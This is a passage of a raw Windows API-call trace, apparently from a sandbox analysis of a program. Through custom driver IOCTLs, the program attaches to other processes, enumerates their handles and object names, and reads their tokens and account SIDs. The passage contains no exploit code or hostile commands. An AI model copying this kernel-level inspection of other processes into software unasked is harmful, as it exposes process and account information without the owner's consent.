RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.590] PsLookupProcessByProcessId (in: ProcessId=0xfe0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.590] PsAcquireProcessExitSynchronization () returned 0x0 [0133.590] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0) [0133.590] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0133.590] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.590] PsReleaseProcessExitSynchronization () returned 0x2 [0133.590] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0133.590] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.590] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0133.590] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.590] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.590] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc34) returned 0xc0 [0133.590] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.591] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80038deb30, HandleInformation=0x0) returned 0x0 [0133.591] ObOpenObjectByPointer (in: Object=0xfffffa80038deb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff80000520) returned 0x0 [0133.591] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0x10 [0133.591] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000520, DesiredAccess=0x8, TokenHandle=0xfffffa80024c34c0 | out: TokenHandle=0xfffffa80024c34c0*=0xc8) returned 0x0 [0133.591] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0133.591] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.591] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.591] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.592] CloseHandle (hObject=0xc8) returned 1 [0133.592] CloseHandle (hObject=0xc0) returned 1 [0133.592] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.592] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.592] PsLookupProcessByProcessId (in: ProcessId=0xc34, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.592] PsAcquireProcessExitSynchronization () returned 0x0 [0133.592] KeStackAttachProcess (in: PROCESS=0xfffffa80038deb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80038deb30, ApcState=0xfffff880050005d0) [0133.592] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032aa800, HandleInformation=0x0) returned 0x0 [0133.593] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.593] PsReleaseProcessExitSynchronization () returned 0x2 [0133.593] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0xe [0133.593] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.593] ObfDereferenceObject (Object=0xfffffa80032aa800) returned 0x1 [0133.593] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.593] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.593] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.593] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.593] PsLookupProcessByProcessId (in: ProcessId=0xc34, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.593] PsAcquireProcessExitSynchronization () returned 0x0 [0133.593] KeStackAttachProcess (in: PROCESS=0xfffffa80038deb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80038deb30, ApcState=0xfffff880050005d0) [0133.593] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037414e0, HandleInformation=0x0) returned 0x0 [0133.593] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.593] PsReleaseProcessExitSynchronization () returned 0x2 [0133.593] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0xe [0133.593] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.593] ObfDereferenceObject (Object=0xfffffa80037414e0) returned 0x1 [0133.593] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.593] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.593] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.593] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0133.593] PsLookupProcessByProcessId (in: ProcessId=0xc34, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.593] PsAcquireProcessExitSynchronization () returned 0x0 [0133.593] KeStackAttachProcess (in: PROCESS=0xfffffa80038deb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80038deb30, ApcState=0xfffff880050005d0) [0133.593] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80018f9ca0, HandleInformation=0x0) returned 0x0 [0133.593] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.593] PsReleaseProcessExitSynchronization () returned 0x2 [0133.593] ObfDereferenceObject (Object=0xfffffa80038deb30) returned 0xe [0133.593] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.593] ObfDereferenceObject (Object=0xfffffa80018f9ca0) returned 0x3 [0133.593] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.594] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.594] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x284) returned 0xc0 [0133.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.594] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80038d3790, HandleInformation=0x0) returned 0x0 [0133.594] ObOpenObjectByPointer (in: Object=0xfffffa80038d3790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff80000520) returned 0x0 [0133.594] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1c [0133.594] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000520, DesiredAccess=0x8, TokenHandle=0xfffffa80024c34c0 | out: TokenHandle=0xfffffa80024c34c0*=0xc8) returned 0x0 [0133.594] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0133.594] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.594] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.594] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.595] CloseHandle (hObject=0xc8) returned 1 [0133.595] CloseHandle (hObject=0xc0) returned 1 [0133.595] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.595] PsLookupProcessByProcessId (in: ProcessId=0x284, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.595] PsAcquireProcessExitSynchronization () returned 0x0 [0133.595] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880050005d0) [0133.596] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002669a10, HandleInformation=0x0) returned 0x0 [0133.596] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.596] PsReleaseProcessExitSynchronization () returned 0x2 [0133.596] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1a [0133.596] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0133.596] ObfDereferenceObject (Object=0xfffffa8002669a10) returned 0x1 [0133.596] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.596] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.596] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.596] PsLookupProcessByProcessId (in: ProcessId=0x284, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.596] PsAcquireProcessExitSynchronization () returned 0x0 [0133.596] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880050005d0) [0133.596] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80026abdc0, HandleInformation=0x0) returned 0x0 [0133.596] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.596] PsReleaseProcessExitSynchronization () returned 0x2 [0133.596] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1a [0133.596] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.596] ObfDereferenceObject (Object=0xfffffa80026abdc0) returned 0x1 [0133.596] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.596] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.596] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0133.596] PsLookupProcessByProcessId (in: ProcessId=0x284, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.596] PsAcquireProcessExitSynchronization () returned 0x0 [0133.596] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880050005d0) [0133.596] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021a18d0, HandleInformation=0x0) returned 0x0 [0133.596] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.596] PsReleaseProcessExitSynchronization () returned 0x2 [0133.596] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1a [0133.597] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.597] ObfDereferenceObject (Object=0xfffffa80021a18d0) returned 0x1 [0133.597] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.597] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.597] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0133.597] PsLookupProcessByProcessId (in: ProcessId=0x284, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.597] PsAcquireProcessExitSynchronization () returned 0x0 [0133.597] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880050005d0) [0133.597] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80018f9ca0, HandleInformation=0x0) returned 0x0 [0133.597] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.597] PsReleaseProcessExitSynchronization () returned 0x2 [0133.597] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1a [0133.597] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.597] ObfDereferenceObject (Object=0xfffffa80018f9ca0) returned 0x3 [0133.597] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.597] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.597] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc1c) returned 0xc0 [0133.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.597] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80039a2060, HandleInformation=0x0) returned 0x0 [0133.597] ObOpenObjectByPointer (in: Object=0xfffffa80039a2060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff80000520) returned 0x0 [0133.597] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x25 [0133.597] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000520, DesiredAccess=0x8, TokenHandle=0xfffffa80024c34c0 | out: TokenHandle=0xfffffa80024c34c0*=0xc8) returned 0x0 [0133.597] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0133.597] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.597] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.597] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.599] CloseHandle (hObject=0xc8) returned 1 [0133.599] CloseHandle (hObject=0xc0) returned 1 [0133.599] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0133.599] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.599] PsAcquireProcessExitSynchronization () returned 0x0 [0133.599] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0133.599] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80018f9ca0, HandleInformation=0x0) returned 0x0 [0133.599] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.599] PsReleaseProcessExitSynchronization () returned 0x2 [0133.599] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x23 [0133.599] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.599] ObfDereferenceObject (Object=0xfffffa80018f9ca0) returned 0x3 [0133.599] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.599] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.599] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.599] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.600] PsAcquireProcessExitSynchronization () returned 0x0 [0133.600] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0133.600] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002184a20, HandleInformation=0x0) returned 0x0 [0133.600] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.600] PsReleaseProcessExitSynchronization () returned 0x2 [0133.600] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x23 [0133.600] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.600] ObfDereferenceObject (Object=0xfffffa8002184a20) returned 0x1 [0133.600] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.600] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.600] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x114, lpOverlapped=0x0) returned 1 [0133.600] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.600] PsAcquireProcessExitSynchronization () returned 0x0 [0133.600] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0133.600] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002086070, HandleInformation=0x0) returned 0x0 [0133.600] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.600] PsReleaseProcessExitSynchronization () returned 0x2 [0133.600] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x23 [0133.600] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.600] ObfDereferenceObject (Object=0xfffffa8002086070) returned 0x1 [0133.600] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.600] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.600] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0133.600] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.600] PsAcquireProcessExitSynchronization () returned 0x0 [0133.600] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0133.600] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002346f20, HandleInformation=0x0) returned 0x0 [0133.600] 